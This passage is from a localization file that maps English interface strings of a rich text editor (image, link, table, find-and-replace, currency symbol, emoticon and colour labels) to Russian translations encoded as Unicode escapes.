"Edit image": "\u0420\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435",
"Image options": "\u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f",
"Zoom in": "\u041f\u0440\u0438\u0431\u043b\u0438\u0437\u0438\u0442\u044c",
"Zoom out": "\u041e\u0442\u0434\u0430\u043b\u0438\u0442\u044c",
"Crop": "\u041e\u0431\u0440\u0435\u0437\u0430\u0442\u044c",
"Resize": "\u0418\u0437\u043c\u0435\u043d\u0438\u0442\u044c \u0440\u0430\u0437\u043c\u0435\u0440",
"Orientation": "\u041e\u0440\u0438\u0435\u043d\u0442\u0430\u0446\u0438\u044f",
"Brightness": "\u042f\u0440\u043a\u043e\u0441\u0442\u044c",
"Sharpen": "\u0427\u0435\u0442\u043a\u043e\u0441\u0442\u044c",
"Contrast": "\u041a\u043e\u043d\u0442\u0440\u0430\u0441\u0442",
"Color levels": "\u0426\u0432\u0435\u0442\u043e\u0432\u044b\u0435 \u0443\u0440\u043e\u0432\u043d\u0438",
"Gamma": "\u0413\u0430\u043c\u043c\u0430",
"Invert": "\u0418\u043d\u0432\u0435\u0440\u0441\u0438\u044f",
"Apply": "\u041f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c",
"Back": "\u041d\u0430\u0437\u0430\u0434",
"Insert date\/time": "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0434\u0430\u0442\u0443\/\u0432\u0440\u0435\u043c\u044f",
"Date\/time": "\u0414\u0430\u0442\u0430\/\u0432\u0440\u0435\u043c\u044f",
"Insert\/edit link": "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u044c\/\u0440\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441\u0441\u044b\u043b\u043a\u0443",
"Text to display": "\u041e\u0442\u043e\u0431\u0440\u0430\u0436\u0430\u0435\u043c\u044b\u0439 \u0442\u0435\u043a\u0441\u0442",
"Url": "\u0410\u0434\u0440\u0435\u0441 \u0441\u0441\u044b\u043b\u043a\u0438",
"Open link in...": "\u041e\u0442\u043a\u0440\u044b\u0442\u044c \u0441\u0441\u044b\u043b\u043a\u0443 \u0432...",
"Current window": "\u0422\u0435\u043a\u0443\u0449\u0435\u0435 \u043e\u043a\u043d\u043e",
"None": "\u041d\u0435\u0442",
"New window": "\u0412 \u043d\u043e\u0432\u043e\u043c \u043e\u043a\u043d\u0435",
"Open link": "\u041f\u0435\u0440\u0435\u0439\u0442\u0438 \u043f\u043e \u0441\u0441\u044b\u043b\u043a\u0435",
"Remove link": "\u0423\u0434\u0430\u043b\u0438\u0442\u044c \u0441\u0441\u044b\u043b\u043a\u0443",
"Anchors": "\u042f\u043a\u043e\u0440\u044f",
"Link...": "\u0421\u0441\u044b\u043b\u043a\u0430...",
"Paste or type a link": "\u0412\u0432\u0435\u0434\u0438\u0442\u0435 \u0438\u043b\u0438 \u0432\u0441\u0442\u0430\u0432\u044c\u0442\u0435 \u0441\u0441\u044b\u043b\u043a\u0443",
"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?": "\u0412\u0432\u0435\u0434\u0451\u043d\u043d\u044b\u0439 URL \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u044b\u043c \u0430\u0434\u0440\u0435\u0441\u043e\u043c \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u043e\u0439 \u043f\u043e\u0447\u0442\u044b. \u0412\u044b \u0436\u0435\u043b\u0430\u0435\u0442\u0435 \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u043f\u0440\u0435\u0444\u0438\u043a\u0441 \u00abmailto:\u00bb?",
"The URL you entered seems to be an external link. Do you want to add the required http:\/\/ prefix?": "\u0412\u0432\u0435\u0434\u0451\u043d\u043d\u044b\u0439 URL \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432\u043d\u0435\u0448\u043d\u0435\u0439 \u0441\u0441\u044b\u043b\u043a\u043e\u0439. \u0412\u044b \u0436\u0435\u043b\u0430\u0435\u0442\u0435 \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u043f\u0440\u0435\u0444\u0438\u043a\u0441 \u00abhttp:\/\/\u00bb?",
"The URL you entered seems to be an external link. Do you want to add the required https:\/\/ prefix?": "\u0412\u0432\u0435\u0434\u0435\u043d\u043d\u044b\u0439 \u0412\u0430\u043c\u0438 URL-\u0430\u0434\u0440\u0435\u0441 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432\u043d\u0435\u0448\u043d\u0435\u0439 \u0441\u0441\u044b\u043b\u043a\u043e\u0439. \u0425\u043e\u0442\u0438\u0442\u0435 \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0439 \u043f\u0440\u0435\u0444\u0438\u043a\u0441 https: \/\/?",
"Link list": "\u0421\u043f\u0438\u0441\u043e\u043a \u0441\u0441\u044b\u043b\u043e\u043a",
"Insert video": "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0432\u0438\u0434\u0435\u043e",
"Insert\/edit video": "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u044c\/\u0440\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0432\u0438\u0434\u0435\u043e",
"Insert\/edit media": "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u044c\/\u0440\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0432\u0438\u0434\u0435\u043e",
"Alternative source": "\u0410\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043d\u044b\u0439 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a",
"Alternative source URL": "URL \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430",
"Media poster (Image URL)": "\u041f\u043e\u0441\u0442\u0435\u0440 \u043c\u0443\u043b\u044c\u0442\u0438\u043c\u0435\u0434\u0438\u0430 (URL \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f)",
"Paste your embed code below:": "\u0412\u0441\u0442\u0430\u0432\u044c\u0442\u0435 \u0432\u0430\u0448 \u043a\u043e\u0434 \u043d\u0438\u0436\u0435:",
"Embed": "\u041a\u043e\u0434 \u0434\u043b\u044f \u0432\u0441\u0442\u0430\u0432\u043a\u0438",
"Media...": "\u041c\u0443\u043b\u044c\u0442\u0438\u043c\u0435\u0434\u0438\u0430...",
"Nonbreaking space": "\u041d\u0435\u0440\u0430\u0437\u0440\u044b\u0432\u043d\u044b\u0439 \u043f\u0440\u043e\u0431\u0435\u043b",
"Page break": "\u0420\u0430\u0437\u0440\u044b\u0432 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b",
"Paste as text": "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u043a\u0430\u043a \u0442\u0435\u043a\u0441\u0442",
"Preview": "\u041f\u0440\u0435\u0434\u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440",
"Print...": "\u041d\u0430\u043f\u0435\u0447\u0430\u0442\u0430\u0442\u044c...",
"Save": "\u0421\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u044c",
"Find": "\u041d\u0430\u0439\u0442\u0438",
"Replace with": "\u0417\u0430\u043c\u0435\u043d\u0438\u0442\u044c \u043d\u0430",
"Replace": "\u0417\u0430\u043c\u0435\u043d\u0438\u0442\u044c",
"Replace all": "\u0417\u0430\u043c\u0435\u043d\u0438\u0442\u044c \u0432\u0441\u0435",
"Previous": "\u041f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0438\u0439",
"Next": "\u0412\u043d\u0438\u0437",
"Find and Replace": "\u041d\u0430\u0439\u0442\u0438 \u0438 \u0417\u0430\u043c\u0435\u043d\u0438\u0442\u044c",
"Find and replace...": "\u041d\u0430\u0439\u0442\u0438 \u0438 \u0437\u0430\u043c\u0435\u043d\u0438\u0442\u044c...",
"Could not find the specified string.": "\u0417\u0430\u0434\u0430\u043d\u043d\u0430\u044f \u0441\u0442\u0440\u043e\u043a\u0430 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u0430",
"Match case": "\u0423\u0447\u0438\u0442\u044b\u0432\u0430\u0442\u044c \u0440\u0435\u0433\u0438\u0441\u0442\u0440",
"Find whole words only": "\u041d\u0430\u0439\u0442\u0438 \u0442\u043e\u043b\u044c\u043a\u043e \u0446\u0435\u043b\u044b\u0435 \u0441\u043b\u043e\u0432\u0430",
"Find in selection": "\u0418\u0441\u043a\u0430\u0442\u044c \u0432 \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u043d\u043e\u043c",
"Spellcheck": "\u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043f\u0440\u0430\u0432\u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435",
"Spellcheck Language": "\u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u0440\u0430\u0432\u043e\u043f\u0438\u0441\u0430\u043d\u0438\u044f",
"No misspellings found.": "\u041e\u0448\u0438\u0431\u043e\u043a \u043d\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043e.",
"Ignore": "\u0418\u0433\u043d\u043e\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c",
"Ignore all": "\u0418\u0433\u043d\u043e\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0432\u0441\u0435",
"Finish": "\u0417\u0430\u043a\u043e\u043d\u0447\u0438\u0442\u044c",
"Add to Dictionary": "\u0414\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0432 \u0441\u043b\u043e\u0432\u0430\u0440\u044c",
"Insert table": "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0442\u0430\u0431\u043b\u0438\u0446\u0443",
"Table properties": "\u0421\u0432\u043e\u0439\u0441\u0442\u0432\u0430 \u0442\u0430\u0431\u043b\u0438\u0446\u044b",
"Delete table": "\u0423\u0434\u0430\u043b\u0438\u0442\u044c \u0442\u0430\u0431\u043b\u0438\u0446\u0443",
"Cell": "\u042f\u0447\u0435\u0439\u043a\u0430",
"Row": "\u0421\u0442\u0440\u043e\u043a\u0430",
"Column": "\u0421\u0442\u043e\u043b\u0431\u0435\u0446",
"Cell properties": "\u041f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u044f\u0447\u0435\u0439\u043a\u0438",
"Merge cells": "\u041e\u0431\u044a\u0435\u0434\u0438\u043d\u0438\u0442\u044c \u044f\u0447\u0435\u0439\u043a\u0438",
"Split cell": "\u0420\u0430\u0437\u0431\u0438\u0442\u044c \u044f\u0447\u0435\u0439\u043a\u0443",
"Insert row before": "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u043f\u0443\u0441\u0442\u0443\u044e \u0441\u0442\u0440\u043e\u043a\u0443 \u0441\u0432\u0435\u0440\u0445\u0443",
"Insert row after": "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u043f\u0443\u0441\u0442\u0443\u044e \u0441\u0442\u0440\u043e\u043a\u0443 \u0441\u043d\u0438\u0437\u0443",
"Delete row": "\u0423\u0434\u0430\u043b\u0438\u0442\u044c \u0441\u0442\u0440\u043e\u043a\u0443",
"Row properties": "\u041f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u0441\u0442\u0440\u043e\u043a\u0438",
"Cut row": "\u0412\u044b\u0440\u0435\u0437\u0430\u0442\u044c \u0441\u0442\u0440\u043e\u043a\u0443",
"Copy row": "\u041a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441\u0442\u0440\u043e\u043a\u0443",
"Paste row before": "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0441\u0442\u0440\u043e\u043a\u0443 \u0441\u0432\u0435\u0440\u0445\u0443",
"Paste row after": "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0441\u0442\u0440\u043e\u043a\u0443 \u0441\u043d\u0438\u0437\u0443",
"Insert column before": "\u0414\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0441\u0442\u043e\u043b\u0431\u0435\u0446 \u0441\u043b\u0435\u0432\u0430",
"Insert column after": "\u0414\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0441\u0442\u043e\u043b\u0431\u0435\u0446 \u0441\u043f\u0440\u0430\u0432\u0430",
"Delete column": "\u0423\u0434\u0430\u043b\u0438\u0442\u044c \u0441\u0442\u043e\u043b\u0431\u0435\u0446",
"Cols": "\u0421\u0442\u043e\u043b\u0431\u0446\u044b",
"Rows": "\u0421\u0442\u0440\u043e\u043a\u0438",
"Width": "\u0428\u0438\u0440\u0438\u043d\u0430",
"Height": "\u0412\u044b\u0441\u043e\u0442\u0430",
"Cell spacing": "\u0412\u043d\u0435\u0448\u043d\u0438\u0439 \u043e\u0442\u0441\u0442\u0443\u043f",
"Cell padding": "\u0412\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0439 \u043e\u0442\u0441\u0442\u0443\u043f",
"Caption": "\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a",
"Show caption": "\u041f\u043e\u043a\u0430\u0437\u0430\u0442\u044c \u043f\u043e\u0434\u043f\u0438\u0441\u044c",
"Left": "\u041f\u043e \u043b\u0435\u0432\u043e\u043c\u0443 \u043a\u0440\u0430\u044e",
"Center": "\u041f\u043e \u0446\u0435\u043d\u0442\u0440\u0443",
"Right": "\u041f\u043e \u043f\u0440\u0430\u0432\u043e\u043c\u0443 \u043a\u0440\u0430\u044e",
"Cell type": "\u0422\u0438\u043f \u044f\u0447\u0435\u0439\u043a\u0438",
"Scope": "Scope",
"Alignment": "\u0412\u044b\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u043d\u0438\u0435",
"H Align": "\u0413\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u044c\u043d\u043e\u0435 \u0432\u044b\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u043d\u0438\u0435",
"V Align": "\u0412\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u044c\u043d\u043e\u0435 \u0432\u044b\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u043d\u0438\u0435",
"Top": "\u041f\u043e \u0432\u0435\u0440\u0445\u0443",
"Middle": "\u041f\u043e \u0441\u0435\u0440\u0435\u0434\u0438\u043d\u0435",
"Bottom": "\u041f\u043e \u043d\u0438\u0437\u0443",
"Header cell": "\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a",
"Row group": "\u0413\u0440\u0443\u043f\u043f\u0430 \u0441\u0442\u0440\u043e\u043a",
"Column group": "\u0413\u0440\u0443\u043f\u043f\u0430 \u043a\u043e\u043b\u043e\u043d\u043e\u043a",
"Row type": "\u0422\u0438\u043f \u0441\u0442\u0440\u043e\u043a\u0438",
"Header": "\u0428\u0430\u043f\u043a\u0430",
"Body": "\u0422\u0435\u043b\u043e",
"Footer": "\u041d\u0438\u0437",
"Border color": "\u0426\u0432\u0435\u0442 \u0440\u0430\u043c\u043a\u0438",
"Insert template...": "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0448\u0430\u0431\u043b\u043e\u043d...",
"Templates": "\u0428\u0430\u0431\u043b\u043e\u043d\u044b",
"Template": "\u0428\u0430\u0431\u043b\u043e\u043d",
"Text color": "\u0426\u0432\u0435\u0442 \u0442\u0435\u043a\u0441\u0442\u0430",
"Background color": "\u0426\u0432\u0435\u0442 \u0444\u043e\u043d\u0430",
"Custom...": "\u0412\u044b\u0431\u0440\u0430\u0442\u044c\u2026",
"Custom color": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0439 \u0446\u0432\u0435\u0442",
"No color": "\u0411\u0435\u0437 \u0446\u0432\u0435\u0442\u0430",
"Remove color": "\u0423\u0434\u0430\u043b\u0438\u0442\u044c \u0446\u0432\u0435\u0442",
"Table of Contents": "\u0421\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435",
"Show blocks": "\u041f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0442\u044c \u0431\u043b\u043e\u043a\u0438",
"Show invisible characters": "\u041f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0442\u044c \u043d\u0435\u0432\u0438\u0434\u0438\u043c\u044b\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u044b",
"Word count": "\u041a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0441\u043b\u043e\u0432",
"Count": "\u041f\u043e\u0434\u0441\u0447\u0435\u0442",
"Document": "\u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442",
"Selection": "\u0412\u044b\u0431\u043e\u0440",
"Words": "\u0421\u043b\u043e\u0432\u0430",
"Words: {0}": "\u041a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0441\u043b\u043e\u0432: {0}",
"{0} words": "\u0441\u043b\u043e\u0432: {0}",
"File": "\u0424\u0430\u0439\u043b",
"Edit": "\u0418\u0437\u043c\u0435\u043d\u0438\u0442\u044c",
"Insert": "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u044c",
"View": "\u0412\u0438\u0434",
"Format": "\u0424\u043e\u0440\u043c\u0430\u0442",
"Table": "\u0422\u0430\u0431\u043b\u0438\u0446\u0430",
"Tools": "\u0418\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b",
"Powered by {0}": "\u041f\u0440\u0438 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0435 {0}",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help": "\u0422\u0435\u043a\u0441\u0442\u043e\u0432\u043e\u0435 \u043f\u043e\u043b\u0435. \u041d\u0430\u0436\u043c\u0438\u0442\u0435 ALT-F9 \u0447\u0442\u043e\u0431\u044b \u0432\u044b\u0437\u0432\u0430\u0442\u044c \u043c\u0435\u043d\u044e, ALT-F10 \u043f\u0430\u043d\u0435\u043b\u044c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432, ALT-0 \u0434\u043b\u044f \u0432\u044b\u0437\u043e\u0432\u0430 \u043f\u043e\u043c\u043e\u0449\u0438.",
"Image title": "\u041d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f",
"Border width": "\u0428\u0438\u0440\u0438\u043d\u0430 \u0440\u0430\u043c\u043a\u0438",
"Border style": "\u0421\u0442\u0438\u043b\u044c \u0440\u0430\u043c\u043a\u0438",
"Error": "\u041e\u0448\u0438\u0431\u043a\u0430",
"Warn": "\u041f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435",
"Valid": "\u0414\u043e\u043f\u0443\u0441\u0442\u0438\u043c\u044b\u0439",
"To open the popup, press Shift+Enter": "\u0427\u0442\u043e\u0431\u044b \u043e\u0442\u043a\u0440\u044b\u0442\u044c \u0432\u0441\u043f\u043b\u044b\u0432\u0430\u044e\u0449\u0435\u0435 \u043e\u043a\u043d\u043e, \u043d\u0430\u0436\u043c\u0438\u0442\u0435 Shift+Enter",
"Rich Text Area. Press ALT-0 for help.": "\u041f\u043e\u043b\u0435 \u0444\u043e\u0440\u043c\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0442\u0435\u043a\u0441\u0442\u0430. \u041d\u0430\u0436\u043c\u0438\u0442\u0435 ALT-0, \u0447\u0442\u043e\u0431\u044b \u043e\u0442\u043a\u0440\u044b\u0442\u044c \u0441\u043f\u0440\u0430\u0432\u043a\u0443.",
"System Font": "\u0421\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439 \u0448\u0440\u0438\u0444\u0442",
"Failed to upload image: {0}": "\u041e\u0448\u0438\u0431\u043a\u0430 \u043f\u0440\u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0435 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f: {0}",
"Failed to load plugin: {0} from url {1}": "\u041e\u0448\u0438\u0431\u043a\u0430 \u043f\u0440\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0435 \u043f\u043b\u0430\u0433\u0438\u043d\u0430: {0} \u0438\u0437 URL {1}",
"Failed to load plugin url: {0}": "\u041e\u0448\u0438\u0431\u043a\u0430 \u043f\u0440\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0435 URL \u043f\u043b\u0430\u0433\u0438\u043d\u0430: {0}",
"Failed to initialize plugin: {0}": "\u041e\u0448\u0438\u0431\u043a\u0430 \u043f\u0440\u0438 \u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u043f\u043b\u0430\u0433\u0438\u043d\u0430: {0}",
"example": "\u043f\u0440\u0438\u043c\u0435\u0440",
"Search": "\u041f\u043e\u0438\u0441\u043a",
"All": "\u0412\u0441\u0435",
"Currency": "\u0412\u0430\u043b\u044e\u0442\u0430",
"Text": "\u0422\u0435\u043a\u0441\u0442",
"Quotations": "\u0426\u0438\u0442\u0430\u0442\u044b",
"Mathematical": "\u041c\u0430\u0442\u0435\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435",
"Extended Latin": "\u0420\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u043d\u0430\u044f \u043b\u0430\u0442\u044b\u043d\u044c",
"Symbols": "\u0421\u0438\u043c\u0432\u043e\u043b\u044b",
"Arrows": "\u0421\u0442\u0440\u0435\u043b\u043a\u0438",
"User Defined": "\u041e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u043c\u044b\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c",
"dollar sign": "\u0421\u0438\u043c\u0432\u043e\u043b \u0434\u043e\u043b\u043b\u0430\u0440\u0430",
"currency sign": "\u0421\u0438\u043c\u0432\u043e\u043b \u0432\u0430\u043b\u044e\u0442\u044b",
"euro-currency sign": "\u0421\u0438\u043c\u0432\u043e\u043b \u0435\u0432\u0440\u043e",
"colon sign": "\u0414\u0432\u043e\u0435\u0442\u043e\u0447\u0438\u0435",
"cruzeiro sign": "\u0421\u0438\u043c\u0432\u043e\u043b \u043a\u0440\u0443\u0437\u0435\u0439\u0440\u043e",
"french franc sign": "\u0421\u0438\u043c\u0432\u043e\u043b \u0444\u0440\u0430\u043d\u0446\u0443\u0437\u0441\u043a\u043e\u0433\u043e \u0444\u0440\u0430\u043d\u043a\u0430",
"lira sign": "\u0421\u0438\u043c\u0432\u043e\u043b \u043b\u0438\u0440\u044b",
"mill sign": "\u0421\u0438\u043c\u0432\u043e\u043b \u0434\u0435\u0441\u044f\u0442\u043e\u0439 \u0447\u0430\u0441\u0442\u0438 \u0446\u0435\u043d\u0442\u0430",
"naira sign": "\u0421\u0438\u043c\u0432\u043e\u043b \u043d\u0430\u0439\u0440\u044b",
"peseta sign": "\u0421\u0438\u043c\u0432\u043e\u043b \u043f\u0435\u0441\u0435\u0442\u044b",
"rupee sign": "\u0421\u0438\u043c\u0432\u043e\u043b \u0440\u0443\u043f\u0438\u0438",
"won sign": "\u0421\u0438\u043c\u0432\u043e\u043b \u0432\u043e\u043d\u044b",
"new sheqel sign": "\u0421\u0438\u043c\u0432\u043e\u043b \u0448\u0435\u043a\u0435\u043b\u044f",
"dong sign": "\u0421\u0438\u043c\u0432\u043e\u043b \u0434\u043e\u043d\u0433\u0430",
"kip sign": "\u0421\u0438\u043c\u0432\u043e\u043b \u043a\u0438\u043f\u044b",
"tugrik sign": "\u0421\u0438\u043c\u0432\u043e\u043b \u0442\u0443\u0433\u0440\u0438\u043a\u0430",
"drachma sign": "\u0421\u0438\u043c\u0432\u043e\u043b \u0434\u0440\u0430\u0445\u043c\u044b",
"german penny symbol": "\u0441\u0438\u043c\u0432\u043e\u043b \u043f\u0444\u0435\u043d\u043d\u0438\u0433\u0430",
"peso sign": "\u0421\u0438\u043c\u0432\u043e\u043b \u043f\u0435\u0441\u043e",
"guarani sign": "\u0421\u0438\u043c\u0432\u043e\u043b \u0433\u0443\u0430\u0440\u0430\u043d\u0438",
"austral sign": "\u0421\u0438\u043c\u0432\u043e\u043b \u0430\u0443\u0441\u0442\u0440\u0430\u043b\u0430",
"hryvnia sign": "\u0421\u0438\u043c\u0432\u043e\u043b \u0433\u0440\u0438\u0432\u043d\u0438",
"cedi sign": "\u0421\u0438\u043c\u0432\u043e\u043b \u0441\u0435\u0434\u0438",
"livre tournois sign": "\u0421\u0438\u043c\u0432\u043e\u043b \u043b\u0438\u0432\u0440\u044b",
"spesmilo sign": "\u0421\u0438\u043c\u0432\u043e\u043b \u0441\u043f\u0435\u0441\u043c\u0438\u043b\u043e",
"tenge sign": "\u0421\u0438\u043c\u0432\u043e\u043b \u0442\u0435\u043d\u044c\u0433\u0435",
"indian rupee sign": "\u0421\u0438\u043c\u0432\u043e\u043b \u0438\u043d\u0434\u0438\u0439\u0441\u043a\u043e\u0439 \u0440\u0443\u043f\u0438\u0438",
"turkish lira sign": "\u0421\u0438\u043c\u0432\u043e\u043b \u0442\u0443\u0440\u0435\u0446\u043a\u043e\u0439 \u043b\u0438\u0440\u044b",
"nordic mark sign": "\u0421\u0438\u043c\u0432\u043e\u043b \u043c\u0430\u0440\u043a\u0438",
"manat sign": "\u0421\u0438\u043c\u0432\u043e\u043b \u043c\u0430\u043d\u0430\u0442\u0430",
"ruble sign": "\u0421\u0438\u043c\u0432\u043e\u043b \u0440\u0443\u0431\u043b\u044f",
"yen character": "\u0441\u0438\u043c\u0432\u043e\u043b \u0438\u0435\u043d\u044b",
"yuan character": "\u0441\u0438\u043c\u0432\u043e\u043b \u044e\u0430\u043d\u044f",
"yuan character, in hong kong and taiwan": "\u0421\u0438\u043c\u0432\u043e\u043b \u044e\u0430\u043d\u044f, \u0413\u043e\u043d\u043a\u043e\u043d\u0433 \u0438 \u0422\u0430\u0439\u0432\u0430\u043d\u044c",
"yen\/yuan character variant one": "\u0441\u0438\u043c\u0432\u043e\u043b \u0438\u0435\u043d\u044b\/\u044e\u0430\u043d\u044f, \u0432\u0430\u0440\u0438\u0430\u043d\u0442 1",
"Loading emoticons...": "\u0417\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0441\u043c\u0430\u0439\u043b\u043e\u0432...",
"Could not load emoticons": "\u041d\u0435 \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u0441\u043c\u0430\u0439\u043b\u044b",
"People": "\u041b\u044e\u0434\u0438",
"Animals and Nature": "\u0416\u0438\u0432\u043e\u0442\u043d\u044b\u0435 \u0438 \u043f\u0440\u0438\u0440\u043e\u0434\u0430",
"Food and Drink": "\u0415\u0434\u0430 \u0438 \u043d\u0430\u043f\u0438\u0442\u043a\u0438",
"Activity": "\u0414\u0435\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c",
"Travel and Places": "\u041f\u0443\u0442\u0435\u0448\u0435\u0441\u0442\u0432\u0438\u044f \u0438 \u043c\u0435\u0441\u0442\u0430",
"Objects": "\u041e\u0431\u044a\u0435\u043a\u0442\u044b",
"Flags": "\u0424\u043b\u0430\u0433\u0438",
"Characters": "\u0421\u0438\u043c\u0432\u043e\u043b\u044b",
"Characters (no spaces)": "\u0421\u0438\u043c\u0432\u043e\u043b\u044b (\u0431\u0435\u0437 \u043f\u0440\u043e\u0431\u0435\u043b\u043e\u0432)",
"{0} characters": "{0} \u0441\u0438\u043c\u0432\u043e\u043b.",
"Error: Form submit field collision.": "\u041e\u0448\u0438\u0431\u043a\u0430: \u043a\u043e\u043d\u0444\u043b\u0438\u043a\u0442 \u043f\u043e\u043b\u0435\u0439 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0438 \u0444\u043e\u0440\u043c\u044b.",
"Error: No form element found.": "\u041e\u0448\u0438\u0431\u043a\u0430: \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d \u044d\u043b\u0435\u043c\u0435\u043d\u0442 \u0444\u043e\u0440\u043c\u044b.",
"Update": "\u041e\u0431\u043d\u043e\u0432\u0438\u0442\u044c",
"Color swatch": "\u041e\u0431\u0440\u0430\u0437\u0435\u0446 \u0446\u0432\u0435\u0442\u0430",
"Turquoise": "\u0411\u0438\u0440\u044e\u0437\u043e\u0432\u044b\u0439",
"Green": "\u0417\u0435\u043b\u0435\u043d\u044b\u0439",
"Blue": "\u0421\u0438\u043d\u0438\u0439",
"Purple": "\u0420\u043e\u0437\u043e\u0432\u044b\u0439",
"Navy Blue": "\u0422\u0435\u043c\u043d\u043e-\u0441\u0438\u043d\u0438\u0439",
"Dark Turquoise": "\u0422\u0435\u043c\u043d\u043e-\u0431\u0438\u0440\u044e\u0437\u043e\u0432\u044b\u0439",
"Dark Green": "\u0422\u0435\u043c\u043d\u043e-\u0437\u0435\u043b\u0435\u043d\u044b\u0439",
